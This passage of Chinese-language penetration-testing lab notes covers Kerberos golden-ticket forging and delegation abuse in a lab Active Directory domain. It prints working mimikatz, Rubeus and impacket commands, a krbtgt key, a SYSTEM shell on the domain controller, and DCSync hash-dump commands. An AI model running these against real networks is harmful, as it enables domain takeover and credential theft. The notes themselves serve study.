519: RAINGRAY\Enterprise Admins (SidTypeGroup)
520: RAINGRAY\Group Policy Creator Owners (SidTypeGroup)
521: RAINGRAY\Read-only Domain Controllers (SidTypeGroup)
522: RAINGRAY\Cloneable Domain Controllers (SidTypeGroup)
525: RAINGRAY\Protected Users (SidTypeGroup)
526: RAINGRAY\Key Admins (SidTypeGroup)
527: RAINGRAY\Enterprise Key Admins (SidTypeGroup)
553: RAINGRAY\RAS and IAS Servers (SidTypeAlias)
571: RAINGRAY\Allowed RODC Password Replication Group (SidTypeAlias)
572: RAINGRAY\Denied RODC Password Replication Group (SidTypeAlias)
1000: RAINGRAY\DC-BEIJING-01$ (SidTypeUser)
1101: RAINGRAY\DnsAdmins (SidTypeAlias)
1102: RAINGRAY\DnsUpdateProxy (SidTypeGroup)
1103: RAINGRAY\DHCP Users (SidTypeAlias)
1104: RAINGRAY\DHCP Administrators (SidTypeAlias)
1106: RAINGRAY\svc-joindomain (SidTypeUser)
1107: RAINGRAY\zhangqi (SidTypeUser)
1109: RAINGRAY\PC-01$ (SidTypeUser)
1110: RAINGRAY\PC-02$ (SidTypeUser)
1113: RAINGRAY\wusilin (SidTypeUser)
1114: RAINGRAY\ADDMACHINEACCOUNT$ (SidTypeUser)

两个信息也可以一起查。

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-lookupsid raingray.com/svc-joindomain@192.168.37.1 | grep -E "join|Domain SID is" 
Password:
[*] Domain SID is: S-1-5-21-247606177-2237963610-2667746150
1106: RAINGRAY\svc-joindomain (SidTypeUser)

3.制作 TGT 票据

制作票据还是一样,能用 AES 256 Key 就不要用 NT Hash,不然事件日志就会标记上使用落后的加密。

先演示 Mimikatz 利用,当前操作是生成完成 TGT 后立即导入 TGT 到当前会话,也可以离线生成传到目标再 mimikatz kerberos::ptt <ticket_kirbi_file> 导入。

这些选项在 Silver Ticket 生成中已经详细说过了,这里不再重复叙述。唯一需要注意的是,当前伪造的 TGT 中的 PAC 用户组权限工具默认设置的是 512(Domain Admins),513(Domain Users),518(Schema Admins),519(Enterprise Admins),520(Group Policy Creator Owners),等同于域管,要想手动指定可以用 /groups:513,多个值用英文逗号分隔 /groups:513,519

C:\Users\wuhui\Desktop\mimikatz_trunk\x64>mimikatz "kerberos::golden /domain:raingray.com /sid:S-1-5-21-247606177-2237963610-2667746150 /aes256:0649170e427cb847522fbe0ea8780e15f8c67fa94d862f7fbed262f1d65a5ef7 /user:svc-joindomain /id:1106 /ptt" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # kerberos::golden /domain:raingray.com /sid:S-1-5-21-247606177-2237963610-2667746150 /aes256:0649170e427cb847522fbe0ea8780e15f8c67fa94d862f7fbed262f1d65a5ef7 /user:svc-joindomain /id:1106 /ptt
User      : svc-joindomain
Domain    : raingray.com (RAINGRAY)
SID       : S-1-5-21-247606177-2237963610-2667746150
User Id   : 1106
Groups Id : *513 512 520 518 519
ServiceKey: 0649170e427cb847522fbe0ea8780e15f8c67fa94d862f7fbed262f1d65a5ef7 - aes256_hmac
Lifetime  : 2025/4/16 17:04:15 ; 2035/4/14 17:04:15 ; 2035/4/14 17:04:15
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'svc-joindomain @ raingray.com' successfully submitted for current session

mimikatz # exit
Bye!

klist 可以查看缓存了哪些票据。

C:\Users\wuhui\Desktop\mimikatz_trunk\x64>klist

当前登录 ID 是 0:0x315026

缓存的票证: (1)

#0>     客户端: svc-joindomain @ raingray.com
        服务器: krbtgt/raingray.com @ raingray.com
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40e00000 -> forwardable renewable initial pre_authent
        开始时间: 4/16/2025 17:04:15 (本地)
        结束时间:   4/14/2035 17:04:15 (本地)
        续订时间: 4/14/2035 17:04:15 (本地)
        会话密钥类型: AES-256-CTS-HMAC-SHA1-96
        缓存标志: 0x1 -> PRIMARY
        调用的 KDC:

可以访问目录 IPC,后续用 psexec 获取 Shell。

C:\Users\wuhui\Desktop\mimikatz_trunk\x64>dir \\PC-01.raingray.com\C$
 驱动器 \\PC-01.raingray.com\C$ 中的卷没有标签。
 卷的序列号是 12C8-9D4E

 \\PC-01.raingray.com\C$ 的目录

2025/02/27  09:25           355,778 GPOReport.html
2025/02/26  16:44    <DIR>          mimikatz_trunk
2019/12/07  17:14    <DIR>          PerfLogs
2023/12/12  16:17    <DIR>          Program Files
2023/08/31  23:09    <DIR>          Program Files (x86)
2024/11/16  15:34    <DIR>          Python33
2025/01/17  17:03    <DIR>          Users
2025/02/27  11:16    <DIR>          Windows
               1 个文件        355,778 字节
               7 个目录 40,481,255,424 可用字节

C:\Users\wuhui\Desktop\mimikatz_trunk\x64>dir \\PC-02.raingray.com\C$
 驱动器 \\PC-02.raingray.com\C$ 中的卷没有标签。
 卷的序列号是 12C8-9D4E

 \\PC-02.raingray.com\C$ 的目录

2025/03/28  13:58    <DIR>          mimikatz_trunk
2019/12/07  17:14    <DIR>          PerfLogs
2023/12/02  19:53    <DIR>          Program Files
2023/08/31  23:09    <DIR>          Program Files (x86)
2025/03/28  13:55    <DIR>          Users
2025/04/16  10:13    <DIR>          Windows
               0 个文件              0 字节
               6 个目录 42,761,195,520 可用字节

C:\Users\wuhui\Desktop\mimikatz_trunk\x64>

当你访问 PC-02.raingray.com 的 IPC$ 后,自动就拿 TGT 申请了 ST。

C:\Users\wuhui\Desktop\mimikatz_trunk\x64>klist

当前登录 ID 是 0:0x315026

缓存的票证: (2)

#0>     客户端: svc-joindomain @ raingray.com
        服务器: krbtgt/raingray.com @ raingray.com
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40e00000 -> forwardable renewable initial pre_authent
        开始时间: 4/16/2025 17:04:15 (本地)
        结束时间:   4/14/2035 17:04:15 (本地)
        续订时间: 4/14/2035 17:04:15 (本地)
        会话密钥类型: AES-256-CTS-HMAC-SHA1-96
        缓存标志: 0x1 -> PRIMARY
        调用的 KDC:

#1>     客户端: svc-joindomain @ raingray.com
        服务器: cifs/PC-02.raingray.com @ RAINGRAY.COM
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        开始时间: 4/16/2025 17:10:36 (本地)
        结束时间:   4/17/2025 3:10:36 (本地)
        续订时间: 4/23/2025 17:10:36 (本地)
        会话密钥类型: AES-256-CTS-HMAC-SHA1-96
        缓存标志: 0
        调用的 KDC: DC-BEIJING-01.raingray.com
⚠️
也尝试过给一个不存在不存在的用户名和 RID 伪造 TGT,也可以成功获取 ST,这是因为在 TGS 中没有验证用户有效性,不过打上 NoPAC(CVE-2021-42287)这个洞补丁 KB5008380 后,就必须使用域内已经存在的域用户去伪造 TGT。

Rubeus 演示。

C:\Users\wuhui\Desktop>dir \\pc-02.raingray.com\c$
拒绝访问。

C:\Users\wuhui\Desktop>rubeus.exe golden /service:cifs/PC-02.raingray.com /aes256:0649170e427cb847522fbe0ea8780e15f8c67fa94d862f7fbed262f1d65a5ef7 /user:administrator /domain:raingray.com /sid:S-1-5-21-247606177-2237963610-2667746150 /nowrap /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : RAINGRAY.COM (RAINGRAY)
[*] SID            : S-1-5-21-247606177-2237963610-2667746150
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ServiceKey     : 0649170E427CB847522FBE0EA8780E15F8C67FA94D862F7FBED262F1D65A5EF7
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 0649170E427CB847522FBE0EA8780E15F8C67FA94D862F7FBED262F1D65A5EF7
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : raingray.com

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'administrator@raingray.com'

[*] AuthTime       : 2025/4/17 8:17:47
[*] StartTime      : 2025/4/17 8:17:47
[*] EndTime        : 2025/4/17 18:17:47
[*] RenewTill      : 2025/4/24 8:17:47

[*] base64(ticket.kirbi):

      doIFjzCCBYugAwIBBaEDAgEWooIEfDCCBHhhggR0MIIEcKADAgEFoQ4bDFJBSU5HUkFZLkNPTaIhMB+gAwIBAqEYMBYbBmtyYnRndBsMcmFpbmdyYXkuY29to4IENDCCBDCgAwIBEqEDAgEDooIEIgSCBB7swFkWm4uFFAh0JwA5en9lfDO69KNZmVHaPjPp2ZZI9J2QCQX7ED+ioQMOihZHhcZ9fw+yFLUiNIKBtgoRpW7YJhZXDL2U/XaQAazyqzqs1iZTJ0HJfVsCLWYt8m9Ee8hHg4z4duEhEnf6TV47D/tpYjBpao+87uZuu2WxywM2I53sHuxDfccLf5vMpV8PKAsGehuE6vW5TItaovc0fTwzxgfRyfxPp4kMChX7UhBqKOONSoAzFU5en1SuOwzymWqwxA+E2ldQsW4HprEqwyeSBkCgJa5PE+f5XSL6m/mflCQ9I89tB7Wf9CrPBfe2Cboze1wkWVDudaN8siyOe8B+Cr0fJH41DN8B0GWm66DPDhN31j7dTBjNdDLz/NqKza0hfv1aDLubtPVfayLPamJLZrAS9Otf7LPSJpQdc+sftUF0TaYaI0RuUvh/on66FYg4cZACMxyULXVgdroPhNLOrrEq4pYA54g+tHFoHkaT9SK5ojbb3E6EXk2Kzq63DEL33TQCh3O0HmHnBFkZS/qf/DEt2n8l5txE5eq33wlJrTcGxg0tYtcoMxtc2B8y2aiFxeRhpkPzNXYVJfXK1NZ+wfH71XQr5a2OJXAUIj1HVUhpRcbwXy1cQQ6q+ezdJGvLZ6l0gnU3iss1tmKkQd7kirSfkw9nR2OtQqh7DFVvkA+gKxyDLjM4Cpn+jNOTbZgcFBQTor1gn4aL4blq7Ydz7Z7IhkY6NSWUQTQ5TLKk8sP1a/NFoeRd2Swhq1S7gIJUMeSIy13Va57peSYZtwx96ZXw/0IFESCeArUMJVNWErGKEhCitOJ8lhDDtTU5wrUdGD9RLWoucQ6bfF8yIHVBTuzFw7fgI7HETDEZQ8+KxLkYvpVxut6VsCdtAUwlJBG0WGCi5wi7+Kvo8XFQclGBPfnMonXpo6vwF8UgNMGR50pYCbHsaBohj7rFyQcCZoDLV5DEM/HivwNmE/k2O99cDGgeB58zKnZNBLbz9cteGMsI2ouHR1rECAHCnW7ssy0drDwyXWjJt8PdXmkyqWtbh7nI+SMBKs4zbZ2nvd89WyiJIZ9HYQsfFGXlWBvnM4A4QJ6/SjIqM2FnIg0lj1lBxBkviWFoDSMJ1fl/KSjHJlwf/tXDZqImHxV06MNJ2QRSxXBBWWZMW/R8klPZFxhKBMpDm7pZM8tyGryu2FQtLZbGlxPF+mokhUbIsccmh+gOgCvHLt3OFhtAzuTymmiPe1wJKYQ91b2mVqVdr+Vcajfa0KW/WqNJRLIgfqbZLt+oqTvTujycbu0JADRIBO4VU1Irzj7VIo2IVW1iUHUpXvN5wHBa03xVu5RCfsYTF7pFUXH2Vsn7hvz56YW4WczkowRJ5SeZQCAVtN0cjIFODQiJnZA7Zj++d4saeqIuo4H+MIH7oAMCAQCigfMEgfB9ge0wgeqggecwgeQwgeGgKzApoAMCARKhIgQg92qcynmX4bneXm1cPL4g0m8f7jZ3L9SYjMnuILccL/ChDhsMUkFJTkdSQVkuQ09NohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOAAAKQRGA8yMDI1MDQxNzAwMTc0N1qlERgPMjAyNTA0MTcwMDE3NDdaphEYDzIwMjUwNDE3MTAxNzQ3WqcRGA8yMDI1MDQyNDAwMTc0N1qoDhsMUkFJTkdSQVkuQ09NqSEwH6ADAgECoRgwFhsGa3JidGd0GwxyYWluZ3JheS5jb20=


[+] Ticket successfully imported!

C:\Users\wuhui\Desktop>klist

当前登录 ID 是 0:0x315026

缓存的票证: (1)

#0>     客户端: administrator @ RAINGRAY.COM
        服务器: krbtgt/raingray.com @ RAINGRAY.COM
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40e00000 -> forwardable renewable initial pre_authent
        开始时间: 4/17/2025 8:17:47 (本地)
        结束时间:   4/17/2025 18:17:47 (本地)
        续订时间: 4/24/2025 8:17:47 (本地)
        会话密钥类型: AES-256-CTS-HMAC-SHA1-96
        缓存标志: 0x1 -> PRIMARY
        调用的 KDC:

C:\Users\wuhui\Desktop>dir \\pc-02.raingray.com\c$
 驱动器 \\pc-02.raingray.com\c$ 中的卷没有标签。
 卷的序列号是 12C8-9D4E

 \\pc-02.raingray.com\c$ 的目录

2025/03/28  13:58    <DIR>          mimikatz_trunk
2019/12/07  17:14    <DIR>          PerfLogs
2023/12/02  19:53    <DIR>          Program Files
2023/08/31  23:09    <DIR>          Program Files (x86)
2025/03/28  13:55    <DIR>          Users
2025/04/16  10:13    <DIR>          Windows
               0 个文件              0 字节
               6 个目录 42,759,061,504 可用字节

C:\Users\wuhui\Desktop>klist

当前登录 ID 是 0:0x315026

缓存的票证: (2)

#0>     客户端: administrator @ RAINGRAY.COM
        服务器: krbtgt/raingray.com @ RAINGRAY.COM
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40e00000 -> forwardable renewable initial pre_authent
        开始时间: 4/17/2025 8:17:47 (本地)
        结束时间:   4/17/2025 18:17:47 (本地)
        续订时间: 4/24/2025 8:17:47 (本地)
        会话密钥类型: AES-256-CTS-HMAC-SHA1-96
        缓存标志: 0x1 -> PRIMARY
        调用的 KDC:

#1>     客户端: administrator @ RAINGRAY.COM
        服务器: cifs/pc-02.raingray.com @ RAINGRAY.COM
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        开始时间: 4/17/2025 8:17:53 (本地)
        结束时间:   4/17/2025 18:17:47 (本地)
        续订时间: 4/24/2025 8:17:47 (本地)
        会话密钥类型: AES-256-CTS-HMAC-SHA1-96
        缓存标志: 0
        调用的 KDC: DC-BEIJING-01.raingray.com

impacket-ticketer 演示伪装域控 administrator,拿下域控机器权限。

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-ticketer -aesKey 0649170e427cb847522fbe0ea8780e15f8c67fa94d862f7fbed262f1d65a5ef7 -domain-sid S-1-5-21-247606177-2237963610-2667746150 -domain raingray.com -dc-ip 192.168.37.1 administrator -user-id 500
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for raingray.com/administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in administrator.ccache

┌──(kali㉿kali)-[~/Desktop]
└─$ export KRB5CCNAME=administrator.ccache

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-psexec -k -no-pass DC-BEIJING-01.raingray.com -codec gbk       
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on DC-BEIJING-01.raingray.com.....
[*] Found writable share ADMIN$
[*] Uploading file NHvDEkNv.exe
[*] Opening SVCManager on DC-BEIJING-01.raingray.com.....
[*] Creating service ujwd on DC-BEIJING-01.raingray.com.....
[*] Starting service ujwd.....
[!] Press help for extra shell commands
Microsoft Windows [版本 10.0.17763.1339]
(c) 2018 Microsoft Corporation。保留所有权利。

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
DC-BEIJING-01

Diamond Ticket⚒️

Sapphire Ticket⚒️

3.8 PAC⚒️

要详细了解 PAC

MS-PAC: Introduction | Microsoft Learn

MS14-068 Privilege Escalation(CVE-2014-6324)

返回的 TGT 能够被篡改。

结合 Kerberos 文档来看此漏洞怎么修复的。到底是不是加了签名防篡改。

NoPac Privilege Escalation(CVE-2021-42278)

CVE-2021-42278
CVE-2021-42287
CVE-2021-42288

3.9 委派

非约束委派

整个非约束委派流程,官方文档有着详细描述,这里将其翻译为中文助于理解。

非约束委派交互过程图.svg

  1. 用户通过发送 KRB_AS_REQ 消息进行身份验证,该消息是在身份验证服务(AS)交换中的请求消息,并请求可转发的票据授予票证(TGT)。
  2. KDC 返回一个可转发的 TGT,在 KRB_AS_REP 消息中,该消息是身份验证服务(AS)交换中的响应消息。
  3. 用户基于步骤 2 中的可转发 TGT 请求一个转发的 TGT(为什么 TGT 要可转发,原因是后续步骤 8 中 Service 1 要拿着换 Service2 的 ST),这通过 KRB_TGS_REQ 消息完成。
  4. KDC 在 KRB_TGS_REP 消息中返回用户的转发 TGT。
  5. 用户使用步骤 2 中返回的 TGT,通过 KRB_TGS_REQ 消息向 Service 1 请求 ST。
  6. 票证授予服务(TGS)在 KRB_TGS_REP 消息中返回 ST。
  7. 用户通过发送 KRB_AP_REQ 消息向 Service 1 发出请求,请求内容有 ST、转发 TGT 和有关转发 TGT 的 session key。

    注:KRB_AP_REQ 消息是身份验证协议(AP)交换中的请求消息。

  8. 为了满足用户的请求,Service 1 需要 Service 2 代表用户执行一些操作。Service 1 使用用户的转发 TGT,并在向 KDC 发送 KRB_TGS_REQ 请求,请求以用户的名义为 Service 2 获取一张 ST。
  9. KDC 在 KRB_TGS_REP 消息中返回 Service 2 的票证给 Service 1 ,同时还提供了 Service 1 可以使用的 session key。这个 ST 属于用户,而不是 Service 1。
  10. Service 1 通过 KRB_AP_REQ 以用户的身份向 Service 2 发出请求。
  11. Service 2 做出响应。
  12. 有了这个响应,Service 1 现在可以响应用户在步骤 7 中的请求。
  13. 这里来处描述的 TGT 转发委派机制不限制 Service 1 对转发 TGT 的使用。Service 1 可以以用户身份向 KDC 请求任何其他服务 ST。
  14. KDC 将返回请求的票证。
  15. 然后,Service 1 可以冒充 Service N 用户与 Service N 进行交互。如果 Service 1 被攻击者拿下,这可能带来风险。Service 1 可以伪装成其他合法用户与其他服务进行交互。
  16. Service N 将响应 Service 1 ,就像被冒充的真实用户自己发出的请求。

Figure 1: Kerberos Delegation with Forwarded TGT

用户访问开启了设置非约束委派服务的 Service 1,7-8 步骤 AP-REQ 请求会将 ST 和可转发 TGT 都发送 Service 1,而 Service 1 的 lsass 进程会缓存可转发 TGT,13-14 步骤 Service 1 可以拿着用户可转发 TGT 向任意服务请求 ST,后续用于代表用户访问其他服务。

利用条件:拿下 Server 1 主机,并且具有管理员权限。

因此只要拿下 Service 1 权限,获取 Service 1 的缓存的用户可转发 TGT,就可以访问任意服务。要是域控访问了 Service 1,就可以以域控身份访问它自身的服务(比如 CIFS)。

获取可转发 TGT,这里在 Service 1 主机上用管理员权限高完整度(SYSTEM 也可以)运行 rubeus 监控,每秒刷新一次,看看有没 TGT 信息。为了防止信息杂乱还可以使用 /filteruser:<SamAccountname> 选项过滤显示指定账户。

rubeus.exe monitor /interval:1 /nowrap

这里还有个问题,用户什么时候访问不确定,访问要是用户不访问呢?是不是就没法拿到 TGT,这里有不确定性,要等待,一直不访问就没办法。

为了避免等待,可以使用 SpoolSample 利用 MS-RPRN RPC 接口强制域内指定主机 FQDN1 访问服务主机 FQDN2,利用前提是 FQDN1 必须运行 Print Spooler (Spooler) 服务。 没获取到可能是防火墙问题,这里靶场没复现成功,需要离线搭建环境测试

SpoolSample <FQDN1> <FQDN2>

一旦监控到域控机器账户 TGT 后,Pass the Ticket 到内存。

Rubeus.exe ptt /ticket:<Base64 Encode TGT>

DCSync 导出账户哈希到 dump.txt。

// 导出域内所有账户哈希
mimikatz "log dump.txt" "lsadump::dcsync /domain:<Domain Name FQDN> /all /csv" exit

//导出指定用户哈希
mimikatz "log dump.txt" "lsadump::dcsync /domain:<Domain Name FQDN> /user:<UserName> /all /csv" exit

待补充拿 hash 登陆机器。

所有委派防范可以在对敏感的对象属性,开启 “Account is sensitive and cannot be delegated” 选项,不可被委派。或者被加入 Protected Users 组效果也是一样。

约束委派⚒️

相对于非约束委派做了限制,设置委派的对象 Service 1 只能以用户身份访问指定服务(这里是 Service 2),而不像非约束委派可以访问任意服务,再一个 Service 1 不再缓存 TGT。

默认设置都是禁止委派的,要主动配置约束委派有两种选项:

  • Use Kerberos only

    约束委派-仅使用 Kerberos.png

  • Use any authentication protocol

    约束委派-使用任何身份验证协议.png

一、Use Kerberos only

就使用 Kerberos 进行委派。

约束委派交互过程图-Use Kerberos only.svg

  1. 访问 Service 1 时前面和正常访问服务一样,走完整个 Kerberos 访问服务的流程。
  2. 用户获取到 Service 1 可转发 ST。
  3. 用户访问 Server 1 资源。相当于发送 AP-REQ 请求。
  4. Service 1 使用 S4U2proxy 以用户身份获取 Service 2 的 ST。

    详细点说就是 Service 1 在步骤 3 拿到用户 ST 后,这个 ST 只能访问 Service 1 自己,要以用户身份访问 Service 2 资源,需要用户持有 Service 2 的 ST。那怎么以用户身份拿 Service 2 的 ST 呢?这就到 S4U2proxy(Service for User to Proxy)协议。首先 Service 1 将步骤 3 获取到的用户 ST 和 Service 1 自己的 TGT 发送到 KDC 中 TGS 处理,TGS 会检查 ST 中 Flag 的 Forwardable 是不是可转发(设置为 1 表示可转发,0 不可转发)和 Service 2 的 SPN 是不是在 Service 1 设置委派的范围内——也就是 msDS-AllowedToDelegateTo 属性值的 SPN,当 ST 可以转发又在范围内就返回 Service 2 的 TGS。

  5. Service 2 响应 Service 1 以用户身份申请的 ST。
  6. Service 1 拿着用户的 ST 请求 Service 2 资源。

    Service 1 拿用户 TGS 发送 AS-REQ 访问 Service 2,从 Service2 视角来看这就是用户访问自己。

  7. Service 2 响应资源内容给 Service 1。
  8. Service 1 响应资源给用户。

二、Use any authentication protocol

使用 Kerberos 以外的协议进行委派。

约束委派交互过程图-Use any authentication protocol.svg

  1. 用户向 Service 1 发出了一个请求。用户通过认证,但 Service 1 没有用户的授权数据。通常是因为认证由 Kerberos 以外的其他协议验证身份。
  2. Service 1 向 KDC 进行 AS-REQ 认证并得到了自己的可转发 TGT,它通过 S4U2self(Service for User to Self)扩展来代表指定用户向自己请求一张 ST。S4U2self 向 KDC 发送的数据有可转发 TGT 和 Timestamp 及用户名,用户名使用 user name 和用户的 realm name 来标识(如 2.2.1 部分所规定)。另外,如果 Service 1 拥有用户的证书,它可以使用 PA-S4U-X509-USER 结构与 KDC 做认证。
  3. KDC 返回给 Service 1 的 ST,就跟用户自己用 TGT 主动向 KDC 请求的一样。该 ST 可能包含用户的授权数据(授权就是权限 PAC 啥的)。ST 的 Flag 中 Forwardable 是 1 可以转发。

    针对 S4U2self 什么情况下返回可转发 ST 展开讲讲,约束委派配置成任意协议认证会在 userAccountControl 属性添加 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION——也有简写成 TrustedToAuthForDelegation,有了这个 Flag 可以使用 S4U2self 帮用户获取 Service 1 自己的 ST,并添加 Forwardable 为 1 表明 ST 可转发,没有设置为 Forwardable 是 0 不能转发。

  4. Service 1 可以使用 ST 中的授权数据来满足用户的请求。然后,服务向用户作出响应。

    尽管 S4U2self 向 Service 1 提供关于用户的信息,但这个扩展并不允许 Service 1 代表用户请求其他服务内容。这是 S4U2proxy 的作用。S4U2proxy 在上图的下半部分有描述。

  5. 用户携带可转发 ST 向 Service 1 发出一个请求。Service 1 需要以用户的身份访问 Service 2 资源。然而,Service 1 没有拿到用户的可转发 TGT 来执行转发 TGT 的委派。如图中写的,指定的带有转发 TGT 的 Kerberos 委派,需要两个前提条件。首先,Service 1 已经与 KDC 完成身份验证,并且有一个可转发的有效 TGT。其次,Service 1 有一张从用户到 Service 1 的可转发 ST。这种可转发的 ST 可能是通过 [RFC4120] 第 3.2 节中规定的 KRB_AP_REQ 消息或通过 S4U2self 请求获得的。
  6. Service 1 使用 S4U2proxy 代表用户向 Service 2 请求 ST。S4U2proxy 数据中有 Service 1 自己的可转发 TGT,从步骤 5 中的可转发 ST(步骤 5 的 ST 是通过 S4U2self 得到的),以及可转发 ST 里面的 client name 和 client realm 用于标识用户名。要返回的 Service 2 的 ST,其中授权数据也是从 S4U2self 的 ST 中复制的。<1>
  7. KDC 检查 ST 是不是可转发的,如果可以转发再进行下一步的 PAC 检查,如果请求中包含 privilege attribute certificate (PAC),KDC 将通过检查 PAC 结构的签名数据来验证 PAC 没被篡改,如 [MS-PAC] 2.8 节中所规定的,最后要看 S4U2proxy 请求的服务在不在 msDS-AllowedToDelegateTo 范围内。这 3 个条件都满足则返回 Service 2 的 ST。但 ST 的 cnamecrealm 字段中存储的 client identity 是用户,而不是 Service 1。
  8. Service 1 使用 S4U2proxy 获取的 ST 向 Service 2 发出请求。Service 2 将此请求视为来自用户,并假定用户经过了 KDC 的验证。
  9. Service 2 响应请求。
  10. Service 1 响应用户步骤 5 发出的请求。

Figure 2: S4U2self and S4U2proxy

约束委派 Use Kerberos only 和 Use any authentication protocol 有什么不同?可以发现在使用 Kerberos 认证访问,步骤 1-2 用户直接能获取 Service 1 ST,后面 Service 1 直接就可以拿着 ST 使用 S4U2proxy 请求 msDS-AllowedToDelegateTo 配置范围内的 ST(Service 2),访问资源。而使用其他认证协议,步骤 1-4,则需要 Service 1 使用 S4U2self 帮用户获取 Service 1 自己的 ST,后续 S4U2proxy 没有区别。

简单来说这个交互过程:

  • 步骤 1-4,用户访问被设置约束委派的对象 Service 1,Service 1 使用 S4U2self 以用户身份请求自己 TGS 返回给用户。
  • 步骤 5-7,后续再次访问 Service 1,Service 1 就拿着用户 TGS 使用 S4U2proxy 代替用户请求允许委派的服务 Service 2 的 TGS。
  • 步骤 8-10,接着 Service 1 以用户身份发送 S4U2proxy 请求 Service 2。

利用条件:

1.拿下设置约束委派的对象权限。这里可能是机器账户或者服务账户。

2.获取设置了委派的账户凭证请求 TGT,拿着 TGT 通过 S4U2self 获取指定用户可转发 ST 访问 Service 1(S4U2self 可以模仿任何用户不限制)。拿着可转发 ST 和 TGT 使用 S4U2proxy 让 Service 1 模仿指定用户获取 Service 2 的 ST,访问委派范围内服务。

利用过程:

先获取设置了委派主机的 TGT。因为后续 S4U2self 和 S4U2proxy 都需要用到。

1.获取 Service 1 的 TGT

通过明文账户申请 TGT

Rubeus.exe asktgt /user:<Username> /password:<password> /nowrap

通过哈希申请 TGT

使用 mimikatz 读取 AES Hash。

mimikatz sekurlsa::ekeys

使用普通账户或机器账户哈希申请 TGT。

Rubeus.exe asktgt /user:<Username> /aes256:<AES Hash> /nowrap

通过内存中读取已存在的 TGT。

没有管理员权限,普通用户可以 tgtdeleg 技巧,利用 GSS-API 提取主机缓存的 TGT。

Rubeus.exe tgtdeleg /nowrap

有管理员(SYSTEM 或者高完整度都行) 可以导出当前主机的 TGT。

# 查询有哪些 TGT,定位当前 UserName 为主机,Service 为指定域的认证服务  krbtgt/<Domain FQDN>。
Rubeus.exe triage

# 导出指定 LUID 的 TGT。
Rubeus.exe dump /luid:<LUID> /nowrap

2.获取 Service 2 的 ST

Service 1 用自己的 TGT 发起 S4U2self 请求,模仿指定用户获取其对当前服务的 ST,接着拿 TGT 继续使用 S4U2proxy 获取指定服务的 ST,使用 PtT 导入会话就可以访问目标服务。

Rubeus.exe s4u /user:<SamAccoutnName> /domain:<Domain FQDN> /ticket:<Base64 | tgtFile> /impersonateuser:<impersonate user name> /msdsspn:HTTP/target.domain /ptt

它几个选项说明如下:

  • /user,当前被设置委派的机器账户或者服务账户。
  • /ticket:<BASE64 | FILE.KIRBI>,给出前面获取的 TGT 用于后面 S4u2self、S4u2proxy 请求。要是偷懒不想手动获取,也可以指定凭证让 rubeus 自动先通过凭证获取 TGT。比如 /rc4:<user hash> 是用户的 NT hash,AES256 哈希 /aes256:<aes256 hash>,甚至可以直接给明文密码 /password:<password>,认证方式多种多样,在帮助里 Constrained delegation abuse 小节有详细表述。
  • /impersonateuser,模仿哪个账户。
  • /msdspn,委派范围内的的服务 SPN 名。msds 就是 msDS-AllowedToDelegateTo 属性的缩写。
  • /ptt,使用 Pass-the-Ticket 导入票据到内存。

alt service

目前为止约束委派利用有个缺点,只能访问特定服务。可以通过 altservice 修改 S4U2self 返回的 TGS 中 SPN 服务名称,以访问任何服务。/altservice 选项可以篡改服务名让模仿账户最终访问它。

由于被设置约束委派的账户可以用 S4U2self 模仿任何用户,那么可以模仿一个对高权限账户再结合 altservice 访问它自己的 CIFS 服务,上传文件拿权限。

Rubeus.exe s4u /user:<SamAccoutnName> /domain:<Domain FQDN> /ticket:<Base64 | tgtFile> /impersonateuser:<impersonate user name> /msdsspn:HTTP/target.domain /altservice:<Service Name> /ptt

关于 alt service 还有另一个利用点,是当你通过非约束委派获取了机器账户 TGT 后如何获得对应机器账户所在计算机权限。

使用机器账户发送 S4Uself 请求模拟域账户获取访问指定 /ticket 服务的 TGS。这里的域账户要选择机器账户对应创建人,可以查询 mS-DS-CreatorSID 属性反查到创建人,它会有管理员权限。要是域控 TGT 就模拟域管理员。

